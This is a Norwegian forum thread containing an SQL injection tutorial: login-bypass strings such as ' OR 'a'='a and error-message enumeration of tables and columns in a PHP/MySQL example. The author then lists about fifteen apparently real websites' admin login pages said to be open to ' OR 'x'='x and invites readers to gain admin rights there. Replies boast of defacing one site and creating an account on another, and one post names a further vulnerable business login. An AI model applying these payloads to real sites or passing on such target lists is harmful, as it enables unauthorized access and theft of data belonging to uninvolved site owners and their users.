Du må være registrert og logget inn for å kunne legge ut innlegg på freak.no
X
LOGG INN
... eller du kan registrere deg nå
Dette nettstedet er avhengig av annonseinntekter for å holde driften og videre utvikling igang. Vi liker ikke reklame heller, men alternativene er ikke mange. Vær snill å vurder å slå av annonseblokkering, eller å abonnere på en reklamefri utgave av nettstedet.
  12 6222
Dette er en guide for deg som vil lære og se eksempler på SQL-injections. Altså, denne tråden har nesten ingen ting med hvordan man faktisk bruker SQL, eller hva Structured Query Language er.

Tittelen ble som dere alle ser SQL din vei inn i historien for å luke ut potensielle script kiddies. Jeg er lei av tråder, artikler, poster m.m som heter HACK SQL HACKING INJECTING PR0HACKER, dette tiltrekker folk som ikke vet hva de gjør men får en viss glede av å gjøre det. Huff . Men nå som du først er her, vil jeg tro du vet hva SQL er, eller har litt peiling.
Hvis noen punkter er upresise, eller jeg skriver slarkete & uklart. Spørr!
-----

SQL injections er av de mest vanlig brukte, og utnyttede sårbarhetene for tiden.
Her vil jeg gå i dybden. Men I dybden slik at dere forstår hvordan dere kan finne SQL-injections i sider og hvordan dere finner en løsning på problemet!

SQL har uttalen "Sequel", og det er det vanligste språket for å manipulere og få tilgang til data i databaser.
I dag, vil trolig de fleste sider betro seg til en database. Vanligvis MySQL for å lagre og få tilgang til informasjon/data.
(Jeg bruker også ordet Query og Query'en mye, hvis du ikke vet hva en query er. Google!)

Mitt første eksempel vil bli en vanlig login form. En typisk "everyday" surfer vil se fler av disse formene hver dag! . Det er enkle innloggingsformer. Du putter passord og brukernavn inn for så å la serveren se & validere informasjonen du nettopp sendte.
Det var enkelt! Men nøyaktig hva skjer med serveren når den sjekker infoen du sendte?

Klienten, eller brukeren sender to strenger til serveren, brukernavn og passord.
Vanligvis vil serveren ha en database med et bord :P (table) eller som vi kanskje helst vil si TABELL, hvor brukerens data er lagret, og tilsynelatende sikkert bevart.
Denne tabellen har minst to kolonner, en for brukernavn og en for passordet.
Når serveren mottar begge strengene, passord og brukernavn vil den spørre databasen om de to sendte forespørslene er gyldige.
Serveren vil da bruke en SQL "erklæring" som kan se slik ut:

Kode

SELECT * FROM users WHERE username='REG_USER' AND password='REG_PASS'
Bare for å nevne det først som sist. I språket SQL er ' tegnet brukt som en avgrensning for forskjellige strenger av variabler. Her bruker vi det til å avgrense brukernavn og passord tilført av brukeren.

I eksempelet ovenfor ser vi at det tilførte brukernavnet & passordet er satt inn i
(query'en*) mellom to ' noe som gjør at den riktige query'en blir kjørt av database-motoren.
Hvis query'en stemmer med en rad i databasen er opplysningene som ble skrevet riktige og brukeren vil eksisterer pluss at passorden som ble skrevet inn er riktig.
Dette var vel ikke vansklig?

Men hva skjer hvis en bruker skriver ' i brukernavnet eller passord feltet?
Bare ved å putte ' i brukernavnet og la passordfeltet stå blankt vil vi få en slik query:

Kode

SELECT * FROM users WHERE username=''' AND password=''
Dette vil fremkalle en feil, siden databasen vil regne med slutten av en streng ved den andre ' , og dermed får vi en feil ved det tredje ' tegnet. La oss da se på hva som vil skje om vi sender en ny streng til serveren. For eksempel dette:

Kode

Brukernavn: ' OR 'a'='a Passord: ' OR 'a'='a
"Query'en" ville bli:

Kode

SELECT * FROM users WHERE username= " OR 'a'='a' AND password=" OR 'a'='a'
Siden a alltid er lik a, vil denne "Query'en" returnere alle rader fra tabellen som inneholder brukere og passord. Dette skjer fordi serveren vil tro vi gav den valide strenger for å slippe oss inn. Injeksjonen var ikke annet enn en kjempestor suksess
(Denne feilen er det FÅ sider som fortsatt har. Om du skulle komme over noen, vil de trolig ikke ha blitt oppdatert siden 2002-2003)
Dette er det enkleste av det enkle innenfor SQL-injections. Derfor skal jeg vise noen mer avanserte teknikker. Mitt andre eksempel vil basere seg på platformene: PHP & MySQL. I min MySQL database har jeg laget en følgende tabell:

Kode

CREATE TABLE users ( username VARCHAR(128), password VARCHAR(128), email VARCHAR(128))
Det er en rad i denne tabellen, som inneholder dataen:

Kode

username: freakforum password: freakforum1 email: test@tester.com
For å se alle "attestene" har jeg laget følgende query i en PHP kode:

Kode

$query="select username, password from users where username='".$user."' and password='".$pass."'";
Serveren er også slik at den skal si ifra om feil blir forråsaket av eller i MySQL databasen. (Dette lønner seg for debugging, men burde forhindres om serveren og databasen er i drift til vanlig. Spesielt om en stor mengde mennesker bruker den )

Så for litt siden viste jeg hvordan SQL injections virker. Nå vil jeg vise hvordan du kan lage mer komplekse query'es og hvordan bruke MySQL feilmeldingene til å få mer info om databasen og strukturen til databasen. Det er her ting kan starte å bli vanskelig for mennesker som ikke kan så mye om SQL.

Men la oss starte!
Vi begynner med å putte ' i brukernavnet, for å se en feilmelding som om vi har en feil i SQL syntaxen;

Kode

check the manual that corresponds to your MySQL server version for the right syntax to use near '''' and password=''' at line 1
Det er fordi query'en ble slik:

Kode

select username, password from users where username=''' and password=''
Hva skjer om vi nå prøver å putte ting som ' eller user='abc inn i brukernavnet?
Query'en blir:

Kode

select username, password from users where username='' or user='abc ' and password=''
Og gir oss feilmeldingen:

Kode

 Unknows column 'user' in 'where clause'
Det er bare bra! Bruk av slike feilmeldinger gjør at vi kan gjette navn på de spesifike tabellene. Vi kan prøve å putte

Kode

' or email='
i feltet der brukernavnet skal inn. Om vi ikke får noen feilmelding vet vi at denne kolonnen eksisterer i tabellen. Hvis vi vet eposten til en bruker, kan vi nå prøve oss frem med

Kode

' or email='test@tester.com
i begge brukernavnene og passordfeltene og query'en blir:

Kode

select username, password from users where username='' or email='test@tester.com' and password='' or email='test@tester.com'
Som er en valid query, og hvis denne epost adressen faktisk eksisterer i tabellen til databasen vil vi få en feilfri innlogging!

Som sagdt kan du bruke feilmeldingene til å gjette navn på tabeller. Siden du i SQL kan bruke table.column tegnsystemet, kan du prøve å putte inn

Kode

' or user.test='
i brukernavnet og du vil se en feilmelding som sier

Kode

Unknown table 'user' in where clause.
Bra. La oss prøve

Kode

' or users.test='
og vi vil få feilmeldingen:

Kode

Unknown column 'users.test' in 'where clause'
Hmm... Logisk at vi har en tabell som heter users?
Hovedsakelig hvis serveren er konfigurert til å gi feilmeldinger, kan du bruke dem til å oppsummere strukturen til databasen og så bruke informasjonen i ett angrep. Som sagt, aldri la denne funksjonen på når du kjører databasen "live", men bruk det til debugging.

Men, det finnes fler. Hundrevis, tusenvis av forskjellige måter å hacke/ødelegge med SQL injections. [COLOR=Red]Derfor ser jeg det helst at du melder ifra om du kommer over ett hull i kodingen av en server som gir deg admin rights eller andre ulumske muligheter [/COLOR] .

---
Der er armen død, hode verker, kroppen vil spise men fortsatt for å vise at dette er mulig. Ganske enkelt, skal jeg google i noen minutter for å finne sider som faktisk er sårbare.

Om dette bryter med noen regler her på forumet, admin, feel free to edit.

Søker, søker, søker....

Hmm.... Fant 14-15 sider som er vuln. til

Kode

' OR 'x'='x
Skriv inn

Kode

' OR 'x'='x
i brukernavn og passord på en av disse sidene for å få admin rettigheter. OBS! Man vet aldri når en link dør, eller en svakhet blir fixet av web-ansvarlig. Ikke flame meg om exploiten ikke fungerer på alle sidene. Takk!

http://www.mcmweb.org/default/admin/login.asp
http://www.aspdevstudio.net/aspdevst...dmin/login.asp
http://johntoomeycompany.com/website...dmin/login.asp
http://www.udesa.co.za/admin/login.asp
http://www.photoctm.com/admin/login.asp
http://www.dunsinane.org/admin/login.asp
http://plentysources.com/admin/login.asp
http://www.diamond-3.com/Admin/admin.asp
http://www.eduflow.com/baruch/Admin/internprofile.asp
https://www.racejobs.com/admin/resumes.asp
http://www.southcentralsurveyors.com...dmin/login.asp
http://www.sciecal.co.uk/admin/login.asp
http://www.genovantiquaria.com/admin/login.asp?code=2
http://www.tilecloseouts.com/admin/login.asp
http://virtualspyder.com/admin/admin.asp

Siden som fikk min oppmerksomhet var:

http://www.eduflow.com/baruch/Admin/internprofile.asp --> Student data.. O.O

[COLOR=Teal]Vel, håper dette gav deg litt forståelse i SQL injections, hvordan de fungerer og hvordan du kan forsvare deg. Phu, husker nesten ikke selv hva jeg har skrevet så ikke plag meg med skrivefeil[/COLOR]
Fin guide, KP (:

SQL Injection Cheat Sheet, fin side:
http://ferruh.mavituna.com/sql-injec...heatsheet-oku/
Denne er også veldig bra.
Går igjennom hvordan man kan få MSSQL til å launche shell via SQL Injection...og også hvordan man kan launche shell også på nye MSSQL versjoner, der dette default er skrudd av:

http://www.owasp.org/index.php/Testi..._SQL_Injection
Matmeg?'s Avatar
Trådstarter
SQL Injection Cheat Sheet, fin side:
http://ferruh.mavituna.com/sql-inje...cheatsheet-oku/
Vis hele sitatet...
Fin fin side Skal lese igjennom når jeg får tid ;P

Denne er også veldig bra.
Går igjennom hvordan man kan få MSSQL til å launche shell via SQL Injection...og også hvordan man kan launche shell også på nye MSSQL versjoner, der dette default er skrudd av:
http://www.owasp.org/index.php/Test...r_SQL_Injection
Vis hele sitatet...
Hehe, å få spawnet ett godt shell med hjelp fra en SQL Injection er noe av det beste
Fikk det til en gang for lenge, lenge siden på en gammel, gammel side som kjørte en gammel gammel MSSQL version ^^
Inspirasjonen til ett slikt angrep kom ifra milw0rm filmen:
http://www.milw0rm.com/video/watch.php?id=70
som alle interesserte burde se.
Hehehe, morsomt. Måtte jo selvfølgelig teste, og på en av sidene var det en liste over de som satt i styret. En av adressene var: H4CK3D!!!11 l0tt0m4nn3n
Sitat av MoleInOne
Hehehe, morsomt. Måtte jo selvfølgelig teste, og på en av sidene var det en liste over de som satt i styret. En av adressene var: H4CK3D!!!11 l0tt0m4nn3n
Vis hele sitatet...
ehehe, kan være meg det..
Jeg går også ut ifra at hvis noen finner noe spennende, er det bare å poste
Jeg føler meg egenltig litt som en fjortiss1337h4ckz0r når jeg gleder meg over slike ting som det her
Matmeg?'s Avatar
Trådstarter
Ok ok, jeg vet det kanskje var dumt å ta med eksempler slik jeg gjorde...
Men om dere finner sider, som sFilez er et fint eksempel på... Si ifra til admin.
Og for guds skyld ikke post fler av dem her
Takk!
Bruker man dårlig script får man skylde seg selv. men noen er seriøse buisiness sider, slik som : http://www.heliwing.no/login.asp
Jeg har laget en bruker der, guess wich
Og gratis b-porno finner man også (advarsel: dette er skikkelig dårlige greier)

http://www.eroticland.nu/login/login.asp